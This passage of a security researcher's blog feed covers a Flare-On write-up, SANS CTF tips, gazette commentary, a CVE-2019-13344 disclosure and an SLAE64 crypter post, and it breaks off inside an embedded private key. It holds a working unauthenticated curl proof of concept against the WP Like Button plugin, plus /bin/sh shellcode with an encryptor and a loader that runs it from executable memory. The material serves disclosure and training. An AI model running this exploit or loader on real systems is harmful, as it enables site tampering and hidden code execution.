00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19
a b c d e f g h i j k l m n o p q r s t u v w x y z
1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33
~ # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
37 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 3F 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43
# The final answer is alphanumeric.
DST 1C 07 02 32 2B 00 07 12 17 26 04 0A 29 32 2A 28 02 01 32 06 06 2E 21 05 32 02 26 32 3C 3A 04 1E
SRC c H C y r A H S X m E K p y q o C B y G G u h F y C m y 8 6 E e
cHCyrAHSXmEKpyqoCByGGuhFyCmy86Ee
vv_max.exe FLARE2019 cHCyrAHSXmEKpyqoCByGGuhFyCmy86Ee
That is correct!
Flag: AVX2_VM_M4K3S_BASE64_C0MPL1C4T3D@flare-on.com
</code></pre></div></td></tr></table></div>
<p>The graphic below demonstrates the eyeballing process for vpmaddwd to retrieve the reversed value. To be doubly sure that I did not make a mistake for any of the manually reversed byte arrays, I modified the value in memory and stepped through the function to confirm that the value returned is correct. </p>
<p><img alt="eyeballing the values" src="//limbenjamin.com/media/flareon6.png"></p>
<p>Bonus: </p>
<p><img alt="eyeballing the values" src="//limbenjamin.com/media/flareon.jpg"></p>Tips for winning SANS CTFs2019-09-22T17:59:00+08:002019-09-22T17:59:00+08:00Benjamin Limtag:limbenjamin.com,2019-09-22:/articles/tips-for-winning-sans-ctfs.html<p>Over the past 3 years, I have attended 3 SANS courses and participated in 3 NetWars events. I have won the challenge coin for every event I participated in. I hope this gives a bit more credibility to the tips that I am about to share. The SANS Challenge on …</p><p>Over the past 3 years, I have attended 3 SANS courses and participated in 3 NetWars events. I have won the challenge coin for every event I participated in. I hope this gives a bit more credibility to the tips that I am about to share. The SANS Challenge on the last day differs depending on the course you are attending. Some require you to give a group presentation, others are jeopardy style individual or group CTFs. The tips will be ordered starting from the easiest to implement to the hardest. Hopefully, it helps you get an edge over your competitors. </p>
<p><img alt="image" src="//limbenjamin.com/media/sanscoins.jpg"></p>
<h2>1. Get decent hardware</h2>
<p>You don't want to have to deal with your VM lagging due to memory being paged out, mess with a flaky touchpad, or strain your eyes on a tiny screen. It doesn't have to be top of the line, but I would go for something with an i5 CPU, 8GB RAM, SSD and a 15 inch screen at minimum. Oh, don't forget a mouse. </p>
<h2>2. Setup the environment</h2>
<p>Install VMware/Virtualbox tools in the VM. Make sure copy paste is working from host/guest. Map a shared drive for easy transfer of files, setup winSCP. Make sure the desktop resolution of the VM is acceptable, there is enough free space and the internet is working. Run everything as root. Seriously. You don't want to waste time transferring the file to /tmp directory, chmod 777 and all that. Make it comfortable for you. I hated that remnux has got noclobber turned on so you don't accidentally overwrite files. Remove those training wheels. </p>
<h2>3. cyberchef</h2>
<p><a href="https://gchq.github.io/CyberChef/">cyberchef</a> is so good that it deserves its own item. Before cyberchef, we had to learn the syntax for 20 different linux commands. cyberchef is the go to tool for any encoding or bitwise operations. Convert from percent unicode to URL encoding to binary, XOR it with a binary key, do a bit shift and convert it to base64, all within cyberchef itself. </p>
<h2>4. Learn your favourite editor well</h2>
<p>A good text editor and hex editor will follow you for life. If you see anyone using hiew, that guy was trained by Kaspersky at some point. Learn the core functionality well. Make sure you can do search, replace, regex at your fingertips. For minor edits, leafpad/gedit provided by the VM will do fine, but I usually use my favourite editor for anything more than that. You should have done (2), so file transfer should be easy. </p>
<h2>5. Linux utilities</h2>
<p>Now that we have done single file processing, we need to look at bulk processing. Utilities such as cat, echo, grep, find, xargs, | , > , xxd, cut, sed, awk, nc, wc... are very useful for bulk processing. If you have many files to search through or huge files that do not work well in a GUI editor, linux utilities are the way to go. Compile a cheatsheet with commonly used functions. It will save you a lot of time. </p>
<h2>6. Luck</h2>
<p>This item is last because it is almost impossible to control. Finding strong team members require a fair bit of luck. Chances are you are going to pair with average team members. To compensate for this, you have got to be much better than your competitors. At one of the group CTFs, my individual score was higher than the next 2 individual scores combined. You have got to carry the weight of 2-3 members in order to compensate. Luck plays a part in individual competitions as well. If I happen to participate in the same SANS event as you, you would be facing strong competition. </p>
<h2>Moving on</h2>
<p>I believe that most SANS courses are pitched at the level of an industry professional with 1-3 years of experience in his job role. You do need a bit of background knowledge to fully benefit from the training. At the same time, if you are a seasoned professional, there is not much to be gained. If you have won multiple challenge coins, maybe it is time to move on and give the newer guys a chance. There are other CTFs such as <a href="http://flare-on.com/">FLARE-On</a> which have a higher difficulty level. Alternatively, do some bug bounty hunting, find a CVE or write a tool. </p>Singapore Gazette Search2019-08-24T20:17:00+08:002019-08-24T20:17:00+08:00Benjamin Limtag:limbenjamin.com,2019-08-24:/articles/singapore-gazette-search.html<div class="admonition other">
<p class="admonition-title">Update (9 Jan 2020)</p>
<p>The government has <a href="https://www.straitstimes.com/politics/free-access-to-entire-govt-e-gazette-website">announced the decision</a> to make all publications in the Gazette freely available to the public. Kudos to the government for doing so! As such, there is no point in continuing to archive them. I have turned off the search feature. However, this page …</p></div><div class="admonition other">
<p class="admonition-title">Update (9 Jan 2020)</p>
<p>The government has <a href="https://www.straitstimes.com/politics/free-access-to-entire-govt-e-gazette-website">announced the decision</a> to make all publications in the Gazette freely available to the public. Kudos to the government for doing so! As such, there is no point in continuing to archive them. I have turned off the search feature. However, this page will remain online as it also provides useful information to the public on how they can make use of the information in the gazette.</p>
</div>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>I am not a lawyer. The information provided is for reference only and does not constitute legal advice.</p>
</div>
<p>The government gazette is a periodical publication of public and legal notices. These notices include useful notices such as the bankruptcy status of an individual, notices of companies which are in the process of winding up or striking off. There are also interesting notices such as minister leave schedules and conferment of certain powers on public officers in various agencies. You would think that public notices would be well, public. However, the Singapore Government Printer only makes the last 5 days of notices available to the public. An annual subscription to the archives will set you back $2,597.08. </p>
<p>This has created quite an interesting situation. By locking public notices behind a paywall, the government can now charge for public information. Want to get a company business profile? That would be $5.50 payable to ACRA. Want to check if a person is bankrupt? That will be $6 payable to the insolvency office. </p>
<p>As far as I can tell, this is a situation unique to Singapore. Britain has <a href="https://www.thegazette.co.uk/London/issue/23629/page/3220">publicly available records dating back to the 1800s accessible online for free</a>. Thomas Hoare, of Aston was declared a bankrupt on 23rd June, 1870. Maybe we cant uphold the high standards of our former colonial master, here is <a href="https://archives.dailynews.lk/2001/pix/GazetteE.pdf">Sri Lanka's 2001 issue of their gazette</a>, here is the <a href="http://www.stationeryprinting.tn.gov.in/extraordinary/extraord_list2008.php">state of Tamil Nadu's 2008 issue of their gazette</a>. There are plenty more examples of governments around the world who have a better track record at making public information available online. </p>
<p>I have started collecting gazette issues since June 2019 and will make them available for you to search for free. The search index will continually be updated as gazette issues are released. </p>
<form action="/" method="get">
Search Term: <input id="search" name="search" disabled></input>
<button id="submit" disabled>Search</button>
</form>
<div class="admonition disclaimer">
<p class="admonition-title">Disclaimer</p>
<p>Whilst every endeavour is made to ensure that the search result provided is updated and correct, I disclaim any liability for any damage or loss that may be caused as a result of any error or omission. Also, even though the insolvency office charges you $6 for each search, they make the same disclaimer!</p>
</div>
<p>Unfortunately, I cannot provide you with the full contents of the gazette. I am unsure if the gazette is copyrighted and whether the copyright belongs to the Singapore Government or the Singapore Government Printer. I do not have permission from either party to distribute the gazette. I can however provide you with snippets of the gazette based on your search terms. Provision of snippets through search engine services is considered fair use and there are sufficient precedent cases in various jurisdictions. </p>
<p>How can the average Singaporean use this information? You should check up on an individual or company before you:<br>
1. Sign up for a 1 year gym package<br>
2. Rent out a room<br>
3. Lend money to someone<br>
4. Open your door for the alleged NEA inspector </p>
<p>This is all part of due diligence. You need to ensure that the individual or company you are dealing with is a valid legal entity and in good financial standing so as to minimise the risk of any losses. If you have done such due diligence, any future legal action you may need to take is relatively straightforward and is likely within the jurisdiction of the small claims court, where fees are in the ballpark of $100. If you signed a package with a non existent company or rented out a room to a bankrupt, the case would be much more complicated, you would need to hire a lawyer to fight the case in court. You would be looking at fees in the ballpark of tens of thousands. </p>WP Like Button 1.6.0 - Auth Bypass2019-07-05T20:10:00+08:002019-07-05T20:10:00+08:00Benjamin Limtag:limbenjamin.com,2019-07-05:/articles/wp-like-button-auth-bypass.html<p>Exploit Title: WP Like Button 1.6.0 - Auth Bypass <br>
Date: 05-Jul-19<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: http://www.crudlab.com<br>
Software Link: https://wordpress.org/plugins/wp-like-button/<br>
Version: 1.6.0<br>
CVE : CVE-2019-13344 </p>
<h1>1. Product & Service Introduction:</h1>
<p>WP Like button allows you to add Facebook like button on …</p><p>Exploit Title: WP Like Button 1.6.0 - Auth Bypass <br>
Date: 05-Jul-19<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: http://www.crudlab.com<br>
Software Link: https://wordpress.org/plugins/wp-like-button/<br>
Version: 1.6.0<br>
CVE : CVE-2019-13344 </p>
<h1>1. Product & Service Introduction:</h1>
<p>WP Like button allows you to add Facebook like button on your wordpress blog. You can also add Share button along with Like button or can add recommend button. As of now, the plugin has been downloaded 129,089 times and has 10,000+ active installs. </p>
<h1>2. Technical Details & Description:</h1>
<p>Authentication Bypass vulnerability in the WP Like Button (Free) plugin version 1.6.0 allows unauthenticated attackers to change the settings of the plugin. The contains() function in wp_like_button.php did not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the settings of the plugin. </p>
<h1>3. Proof of Concept (PoC):</h1>
<p>For example, the curl command below allows an attacker to change the each_page_url parameter to https://hijack.com. This allows the attacker to hijack Facebook likes. </p>
<p><code>curl -k -i --raw -X POST -d "page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb=" "https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1" -H "Content-Type: application/x-www-form-urlencoded"</code> </p>
<h1>4. Mitigation</h1>
<p>Users are advised to update to version 1.6.1 and above. </p>
<h1>5. Disclosure Timeline</h1>
<p>2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com)<br>
2019/06/30 Second email sent to vendor (crudlab@gmail.com)<br>
2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists. Vendor did not acknowledge any emails.<br>
2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net)<br>
2018/07/05 Public disclosure<br>
2018/07/08 Wordpress plugins team notified. Plugin removed.<br>
2019/07/09 Vendor released v1.6.1 update. Vulnerability fixed. </p>
<h1>6. Credits & Authors:</h1>
<p>Benjamin Lim - [https://limbenjamin.com] </p>On the Cybersecurity Act2019-06-09T09:46:00+08:002019-06-09T09:46:00+08:00Benjamin Limtag:limbenjamin.com,2019-06-09:/articles/on-the-cybersecurity-act.html<p>Let us take a look at the Cybersecurity Act 2018 and see how it affects professionals in the industry. I believe it is a good first step, however more can be done in terms of enforcement as well as to ensure better wording of the law.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4 …</span></pre></div></td></tr></table></div><p>Let us take a look at the Cybersecurity Act 2018 and see how it affects professionals in the industry. I believe it is a good first step, however more can be done in terms of enforcement as well as to ensure better wording of the law.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>S2 Interpretation
“cybersecurity” means the state in which a computer or computer system is protected from unauthorised access or attack, and because of that state —
(a) the computer or computer system continues to be available and operational;
(b) the integrity of the computer or computer system is maintained; and
(c) the integrity and confidentiality of information stored in, processed by or transmitted through the computer or computer system is maintained;
“cybersecurity service” means a service provided by a person for reward that is intended primarily for or aimed at ensuring or safeguarding the cybersecurity of a computer or computer system belonging to another person (A), and includes the following:
(redacted for brevity)
(2) For the purposes of the definition of “cybersecurity service”, a person does not provide a cybersecurity service only because the person —
(a) sells, or sells licences for, cybersecurity programs intended to be installed by a user without the assistance of the seller for the protection of the cybersecurity of a user’s computer; or
(b) provides services for the management of a computer network or computer system, that are aimed at ensuring the availability of or enhancing the performance of the computer network or computer system.
</code></pre></div></td></tr></table></div>
<p>This is particularly interesting. Cybersecurity refers to the state where a computer system is not under attack and thus continues to be available and operational. However, if a person provides services that are aimed only at ensuring the availability of a computer system, it is not considered a cybersecurity service. Is this what the government really intended, to not consider anti-DDOS services as a cybersecurity service? Or did the government have a much narrower definition of availability in mind when drafting 2b, i.e. availability when caused by technical or equipment failure and not when caused by a cyber attack. If the latter intention is true, then the law should have been worded better.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>S3 Application of Act
(5) To avoid doubt, no person is immune from prosecution for any offence under this Act by reason that the person is a public officer or is engaged to provide services to the Government.
</code></pre></div></td></tr></table></div>
<p>This is a welcome move. The Personal Data Protection Act 2012 does not apply to public agencies or an organisation acting on behalf of a public agency. It is high time that the government also be held accountable for their shortcomings. The impact of a data breach on the populace is the same regardless of the origin of the breach. Allowing for double standards will just cause hackers to shift their attention to the softer government targets.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>S20 Powers to investigate and prevent serious cybersecurity incidents, etc.
(d) after giving reasonable notice to the owner or occupier of any premises, enter those premises if the incident response officer reasonably suspects that there is within the premises a computer or computer system that is or was affected by the cybersecurity incident;
(redacted for brevity)
(h) subject to subsection (5), with the consent of the owner, take possession of any computer or other equipment for the purpose of carrying out further examination or analysis.
(5) Where the owner of the computer or other equipment does not consent to the exercise of the power mentioned in subsection (2)(h), the power may be exercised if the Commissioner is satisfied that —
(a) the exercise of the power is necessary for the purposes of the investigation;
</code></pre></div></td></tr></table></div>
<p>If your personal computer has been infected and is being used to attack the the power grid, the officers can enter your home and seize your personal computer. These are some wide ranging powers indeed. We have seen supply chain attacks, where attackers hack vendors and try to use the foothold to get to the target. However, I don't think there has been a case so far where personal computers have been used in such a manner. Given the threat landscape today, I question the need to include residential premises in the scope, perhaps it would be sufficient to limit the scope to only commercial premises.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code>S22 Appointment of cybersecurity technical experts
22.—(1) The Commissioner may in writing appoint any of the following as a cybersecurity technical expert for a specified period to assist any incident response officer in the course of an investigation under section 19 or 20:
(a) a public officer or an employee of a statutory body;
(b) an individual (who is not a public officer or an employee of a statutory body) with suitable qualifications or experience to properly perform the role of a cybersecurity technical expert;
(c) a full-time national serviceman enlisted in any force constituted under the Singapore Armed Forces Act (Cap. 295) or in the Special Constabulary constituted under section 66 of the Police Force Act (Cap. 235).
</code></pre></div></td></tr></table></div>
<p>I don't know of any suitable individual who would be happy to be lumped together with an NSF who has only undergone a few months of vocational training in cybersecurity. It just demeans the industry and the professionals who have worked hard at their craft.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>S36 Offences by corporations
Where a corporation commits an offence under this Act, a person —
(a) who is —
(i) an officer of the corporation, or a member of the corporation (in the case where the affairs of the corporation are managed by its members); or
(ii) an individual involved in the management of the corporation and in a position to influence the conduct of the corporation in relation to the commission of the offence; and
(b) who —
(i) consented or connived, or conspired with others, to effect the commission of the offence;
(ii) is in any other way, whether by act or omission, knowingly concerned in, or is party to, the commission of the offence by the corporation; or
(iii) knew or ought reasonably to have known that the offence by the corporation (or an offence of the same type) would be or is being committed, and failed to take all reasonable steps to prevent or stop the commission of that offence, shall be guilty of that same offence as is the corporation, and shall be liable on conviction to be punished accordingly.
</code></pre></div></td></tr></table></div>
<p>Employees who shirk their responsibilities may be held personally liable. This will be a good way to ensure people take their jobs seriously. Nonetheless, legislating is not sufficient, the government must be willing to enforce it. With the recent SingHealth case, several employees were found to be grossly negligent, contravening S14 Duty to report cybersecurity incident in respect of critical information infrastructure. However, no individual was held accountable.</p>
<p>Update (27-11-2019) - The government has <a href="https://www.straitstimes.com/tech/all-govt-agencies-to-take-steps-to-safeguard-personal-data-measures-to-be-in-place-in-most?fbclid=IwAR2Z9AgqnVxaeZLdoYDQTMPae2b4IYmapyg1mAIPAJLb7UAy_n03p5Gmof0">announced</a> that third-party vendors handling government data who misuse personal data will also come under the Personal Data Protection Act.</p>SLAE64 #7 - Crypters2019-05-25T20:21:00+08:002019-05-25T20:21:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-25:/articles/slae64-7-crypters.html<p>Since shellcode is usually very small in size, I have used RSA asymmetric encryption to encrypt the shellcode. Most of the code is boilerplate code so there is not much to talk about.</p>
<p>Encryptor.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16 …</span></pre></div></td></tr></table></div><p>Since shellcode is usually very small in size, I have used RSA asymmetric encryption to encrypt the shellcode. Most of the code is boilerplate code so there is not much to talk about.</p>
<p>Encryptor.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kn">from</span> <span class="nn">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.asymmetric</span> <span class="kn">import</span> <span class="n">rsa</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">hashes</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.asymmetric</span> <span class="kn">import</span> <span class="n">padding</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="n">rsa</span><span class="o">.</span><span class="n">generate_private_key</span><span class="p">(</span>
<span class="n">public_exponent</span><span class="o">=</span><span class="mi">65537</span><span class="p">,</span>
<span class="n">key_size</span><span class="o">=</span><span class="mi">2048</span><span class="p">,</span>
<span class="n">backend</span><span class="o">=</span><span class="n">default_backend</span><span class="p">()</span>
<span class="p">)</span>
<span class="n">public_key</span> <span class="o">=</span> <span class="n">private_key</span><span class="o">.</span><span class="n">public_key</span><span class="p">()</span>
<span class="n">pubpem</span> <span class="o">=</span> <span class="n">public_key</span><span class="o">.</span><span class="n">public_bytes</span><span class="p">(</span>
<span class="n">encoding</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">Encoding</span><span class="o">.</span><span class="n">PEM</span><span class="p">,</span>
<span class="nb">format</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">PublicFormat</span><span class="o">.</span><span class="n">SubjectPublicKeyInfo</span>
<span class="p">)</span>
<span class="n">privpem</span> <span class="o">=</span> <span class="n">private_key</span><span class="o">.</span><span class="n">private_bytes</span><span class="p">(</span>
<span class="n">encoding</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">Encoding</span><span class="o">.</span><span class="n">PEM</span><span class="p">,</span>
<span class="nb">format</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">PrivateFormat</span><span class="o">.</span><span class="n">PKCS8</span><span class="p">,</span>
<span class="n">encryption_algorithm</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">NoEncryption</span><span class="p">()</span>
<span class="p">)</span>
<span class="nb">print</span> <span class="n">privpem</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">(</span><span class="s2">"</span><span class="se">\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05</span><span class="s2">"</span><span class="p">)</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="n">public_key</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span>
<span class="n">shellcode</span><span class="p">,</span>
<span class="n">padding</span><span class="o">.</span><span class="n">OAEP</span><span class="p">(</span>
<span class="n">mgf</span><span class="o">=</span><span class="n">padding</span><span class="o">.</span><span class="n">MGF1</span><span class="p">(</span><span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">()),</span>
<span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">(),</span>
<span class="n">label</span><span class="o">=</span><span class="kc">None</span>
<span class="p">)</span>
<span class="p">)</span>
<span class="nb">print</span> <span class="n">encrypted</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s2">"base64"</span><span class="p">)</span>
</code></pre></div></td></tr></table></div>
<p>Decryptor.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span>
<span class="normal">67</span>
<span class="normal">68</span>
<span class="normal">69</span>
<span class="normal">70</span>
<span class="normal">71</span>
<span class="normal">72</span>
<span class="normal">73</span>
<span class="normal">74</span>
<span class="normal">75</span>
<span class="normal">76</span>
<span class="normal">77</span>
<span class="normal">78</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kn">from</span> <span class="nn">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">hashes</span>
<span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.asymmetric</span> <span class="kn">import</span> <span class="n">padding</span>
<span class="kn">import</span> <span class="nn">ctypes</span><span class="o">,</span> <span class="nn">mmap</span><span class="o">,</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">create_shellcode_function</span> <span class="p">(</span><span class="n">shellcode_str</span><span class="p">):</span>
<span class="n">shellcode_bytes</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">shellcode_str</span><span class="p">)</span>
<span class="c1"># Allocate memory with a RWX private anonymous mmap</span>
<span class="n">exec_mem</span> <span class="o">=</span> <span class="n">mmap</span><span class="o">.</span><span class="n">mmap</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode_bytes</span><span class="p">),</span>
<span class="n">prot</span> <span class="o">=</span> <span class="n">mmap</span><span class="o">.</span><span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">mmap</span><span class="o">.</span><span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">mmap</span><span class="o">.</span><span class="n">PROT_EXEC</span><span class="p">,</span>
<span class="n">flags</span> <span class="o">=</span> <span class="n">mmap</span><span class="o">.</span><span class="n">MAP_ANONYMOUS</span> <span class="o">|</span> <span class="n">mmap</span><span class="o">.</span><span class="n">MAP_PRIVATE</span><span class="p">)</span>
<span class="c1"># Copy shellcode from bytes object to executable memory</span>
<span class="n">exec_mem</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">shellcode_bytes</span><span class="p">)</span>
<span class="c1"># Cast the memory to a C function object</span>
<span class="n">ctypes_buffer</span> <span class="o">=</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">c_int</span><span class="o">.</span><span class="n">from_buffer</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">)</span>
<span class="n">function</span> <span class="o">=</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">CFUNCTYPE</span><span class="p">(</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">c_int64</span> <span class="p">)(</span><span class="n">ctypes</span><span class="o">.</span><span class="n">addressof</span><span class="p">(</span><span class="n">ctypes_buffer</span><span class="p">))</span>
<span class="n">function</span><span class="o">.</span><span class="n">_avoid_gc_for_mmap</span> <span class="o">=</span> <span class="n">exec_mem</span>
<span class="c1"># Return pointer to shell code function in executable memory</span>
<span class="k">return</span> <span class="n">function</span>
<span class="n">private_key</span><span class="o">=</span><span class="s2">"""-----BEGIN PRIVATE KEY-----</span>
<span class="s2">MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjwvXM4jR2RA6v</span>
<span class="s2">+jXFxx9fp7pxKhHI0BJL7prbnpbdIdFLEKSszLGot9ES/0YMo6oOvsKKWB1EGSvY</span>
<span class="s2">JEKS+XufaTB6iw/pykw7Jmyx5pFHrboHYckUmNI5+k2y3K3XhRpJJ2Gb2vw2MhHh</span>
<span class="s2">6VOvfKPRv0BF8sFgOL8vwYPyN21e5AKieqD4ghEfYBOhCTKrYC0l0nm1a25Sw+pJ</span>
<span class="s2">NYmC3Ka4l/1DqFJ9Cr/lK4Un68Gk+z3WtxgdR97QkgJmt08YE8dIL14qfuKPtEon</span>
<span class="s2">JJL31Ui/5tgCmMJCl+t9gPYduY8FM4iPImJMgxeXu+9GDxdx5VEG842iNg1Lfesi</span>
<span class="s2">PAPOViP5AgMBAAECggEBAIj9aE4U+Czx/kuGGPWeMJaeEZujDBNWYsrc9rOFjYPv</span>
<span class="s2">pSybFBEDBRBPjyb39y/++Hfp8KS5HtEouqBEHu67s8lLwWbTYXziujsRf2r5HQSZ</span>
<span class="s2">zzxFamZDDJ7ml/kuljj8y7SYRTMy4WPPdcYFStpQA1BS0dvAiOLQ/t1AbZYwFE5v</span>
